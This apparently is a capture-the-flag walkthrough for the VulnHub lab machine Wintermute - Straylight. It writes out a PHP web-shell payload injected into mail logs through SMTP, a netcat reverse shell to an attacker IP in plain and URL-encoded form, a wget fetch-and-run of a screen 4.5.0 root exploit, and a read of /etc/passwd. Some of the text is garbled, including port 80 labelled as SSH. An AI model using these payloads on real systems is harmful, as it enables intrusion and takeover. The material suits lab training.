VulnHub Walkthrough: Wintermute - Straylight
Part 1
Find Target (computer/device):
netdiscover -r <Kali IP>
On your Kali machine, map straylight's IP to a domain to shorten the host name:
nano /etc/hoststhen add the following line<target IP> stray.light
Scan the Target network:
nmap -A -p0-65535 <007 IP>: "-A", Enables OS detection, version detection, script-scanning, and trace-route- Open ports: SMTP(25), SSH(80), & ppp (3000) - /lua/login.lua?referer=/
Run gobuster (helps you find extra directories/files):
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -t 20 -u http://stray.light/- dir: Uses directory/file bruteforcing mode
- -w: Path to wordlist
- -t: number of concurrent threads
We find http://stray.light/freeside/
Part 2
Go to http://stray.light:3000/lua/login.lua?referer/:
- Login using admin:admin
- Go to /turing-bolo/
PHP Injection: We see '.log' files which helps determine a Local File Inclusion (LFI) vulnerability
- We are able to do /bolo=/var/log/mail
Note that to inject a command prompt onto php:
<?php echo shell_exec($_GET['cmd']);?>Just use the SMTP server to mail the php injection code:
- Either use telnet (
telnet stray.light 25) or nc (nc stray.light 25) HELO hackerMAIL FROM: "hacker <?php ?>, replace <?php ?> with the code shown in step 8.RCPT TO: rootDATA.
- Either use telnet (
Part 3
View source code for
php?bolo=/var/log/mail&cmd=id- notice php injection was successfully received by root
Check if netcat is installed -
.php?bolo=/var/log/mail&cmd=which nc--> /bin/nc is shown/returned(Do step 13 first) Recall start listener on attack box to catch shell: (linux)
nc <ip> <port> -e /bin/bash| (windows)nc <ip> <port> -e cmd.exe:
- Example:
nc 10.0.0.1 1234 -e /bin/bash. - To use ^ this (safely) for our case we have to make sure its in url encoded format --> so put %20 inbetween spaces - Example:
&cmd=nc%2010.0.0.1%201234%20-e%20/bin/bash
- Before running step 12, make sure you start up a listener:
nc -lvnp 9001
Part 4
Once connected, run
idto verifySpawn in a shell! -->
python -c "import pty; pty.spawn('/bin/bash')"Check out passwd file:
cat /etc/passwd- Notice 2 users have /bin/bash permissions: wintermute & turing-police
- We notice that they're both useless for Wintermute - Straylight:
ls -halt /home/wintermute(empty),ls -halt /home/turing-police(empty)
Check for any unordinary programs/binaries installed on system:
find / -perm -4000 -type f -ls 2>/dev/null, notice unusual "screen-4.5.0"
Scan for exploits using searchsploit:
searchsploit screen 4.5.0--> returns 1 exploit- Mirror/Download the exploit file onto Kali:
searchsploit -m 41154
Create a simple python server on Kali so the target machine can access the exploit file (41154.sh)
Part 5
On the target box:
cd /tmp-->wget http://<Kali IP>:80/41154.sh./41154.sh
Cash, you're in.
cd /root-->ls -halt(I think the flag is here somewhere)